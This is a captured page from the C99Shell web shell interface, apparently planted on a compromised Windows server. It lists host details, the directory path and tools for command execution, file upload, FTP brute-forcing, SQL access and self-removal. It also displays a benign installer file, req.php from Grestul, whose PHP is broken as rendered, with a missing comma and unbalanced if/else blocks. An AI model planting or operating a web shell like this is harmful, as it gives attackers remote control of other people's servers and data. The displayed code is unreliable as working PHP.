!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\comments\install2\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.44%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     req.php (4.5 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
*  Copyright 2008 Grestul Group 
*  Powered by Grestul
**/
define('GRESTUL_ROOT'dirname(dirname(__FILE__))."/");

  
/* Check if lock exists */
  
if (file_exists('lock')) {
  echo 
"<title>";
  echo 
'Grestul error';
  echo 
"</title>";
  echo 
"<strong>";
  echo 
'<h1>Grestul Error!</h1>';
  echo 
'<style type="text/css"> p {text-indent:50px; } </style><h2><p>Security notice:</p></h2>';
  echo 
' <p>You must remove the lock from the installer to continue installation.</p>';
  echo 
"</strong>";
  echo 
'<hr width="700" align="left">';
  echo 
'Grestul ';
  include (
'version.php');
  return;
  }
  function 
show_result($type) {
    switch(
$type) {
        case 
0:
            echo 
'<span class="progressErr">ERROR</span><br />';
            break;
        case 
1:
            echo 
'<span class="progressWarn">WARNING</span><br />';
            break;
         case 
2:
            echo 
'<span class="progressOk">OK</span><br />';
            break;
         case 
3:
            echo 
'<span class="progressSkip">SKIPPED</span><br />';
            break;
    }
    echo 
"</span>\n";
}


?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title>Grestul Installation</title>
    <link rel="stylesheet" href="style.css" type="text/css" />
</head>
<body>
        <div class="contain">
        <div class="logo">
        </div>
        <div class="main">
        <div class="header">Installation Status</div>
        <div class="nav">
            <ul>
        <li class="com">Overview</li>
        <li class="com">License Agreement</li>
        <li class="on">Requirements</li>
        <li>Database Info</li>
        <li>Create Tables</li>
        <li>Create Admin</li>
        <li>Complete Install</li>
            </ul>
        </div>
        <div class="content">
            <?php
            
if (is_writable(GRESTUL_ROOT.'inc/settings.php'))
            if (
is_writable(GRESTUL_ROOT.'inc/config.php'))  {
            echo 
'<h3 class="requirep">Requirements</h3>';
            }
            else if (
is_writable(GRESTUL_ROOT.'inc/settings.php')) {
            echo 
'<h3 class="require">Requirements</h3>';
            }
             else {
            if (
is_writable(GRESTUL_ROOT.'inc/config.php'))
            echo 
'<h3 class="require">Requirements</h3>';
            }
            else {
            echo 
'<h3 class="require">Requirements</h3>';
            }
            
?>

        <table>
        <tr>
            <td>PHP Version( 4.0 or higher):</td>
            <td><span class="pass"><?php echo phpversion(); ?></span></td>
        </tr>
        <tr class="alt_row">
            <td>Configuration File:</td>
            <?php
            
/* Check if Writable! */
            
if (is_writable(GRESTUL_ROOT.'inc/config.php')) {
            echo 
'<td>';
            echo 
'<span class="pass">';
                echo 
'Writable!';
            echo 
'</span>';
            echo 
'</td>';
            } else {
            echo 
'<td>';
            echo 
'<span class="fail">';
                echo 
'Not writable!';
            echo 
'</span>';
            echo 
'</td>';
            }
            
?>
        </tr>
        <tr>
            <td>Settings File:</td>
            <?php
            
/* Check if Writable! */
            
if (is_writable(GRESTUL_ROOT.'inc/settings.php')) {
            echo 
'<td>';
            echo 
'<span class="pass">';
                echo 
'Writable!';
            echo 
'</span>';
            echo 
'</td>';
            } else {
            echo 
'<td>';
            echo 
'<span class="fail">';
                echo 
'Not writable!';
            echo 
'</span>';
            echo 
'</td>';
            }
            
?>

        </tr>
        </table>

            <?php
            
/* Write if writable or not */
            
if (is_writable(GRESTUL_ROOT.'inc/config.php')) {
            echo 
'<span class="pass">';
            echo 
"";
            echo 
'</span>';
            }
            else {
            echo 
'<span class="fail">';
            echo 
"Please make the 'config.php' file writable to continue!";
            echo 
'</span>';
            }
            if (
is_writable(GRESTUL_ROOT.'inc/settings.php')) {
            echo 
'<span class="pass">';
            echo 
"";
            echo 
'</span>';
            }
            else {
            echo 
'<span class="fail">';
            echo 
"<br /><br />Please make the 'settings.php' file writable to continue!";
            echo 
'</span>';
            }
    
            
?>

            <?php 
            
if (is_writable(GRESTUL_ROOT.'inc/config.php'))
            if (
is_writable(GRESTUL_ROOT.'inc/settings.php')) {
            echo 
"<b>Congrats! You met the Grestul requirements. Click 'Continue' to resume the install.</b><br /><br />";
            echo 
'<a href="data.php">';
            echo 
'<div class="next">';
            echo 
'<div class="submit">Continue &gt;&gt;</div>';
            echo 
'</div>';
            echo 
'</a>';
            }
            else {
            echo 
'';
            }
            
?>
            <a href="javascript:window.location=window.location;">
            <div class="next"><div class="submit">Refresh</div></div><br style="clear: both;" /></a>

        </div>
            <div class="footer">
            Copyright &copy; 2008 Grestul Group
            </div>
        </div>
        </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--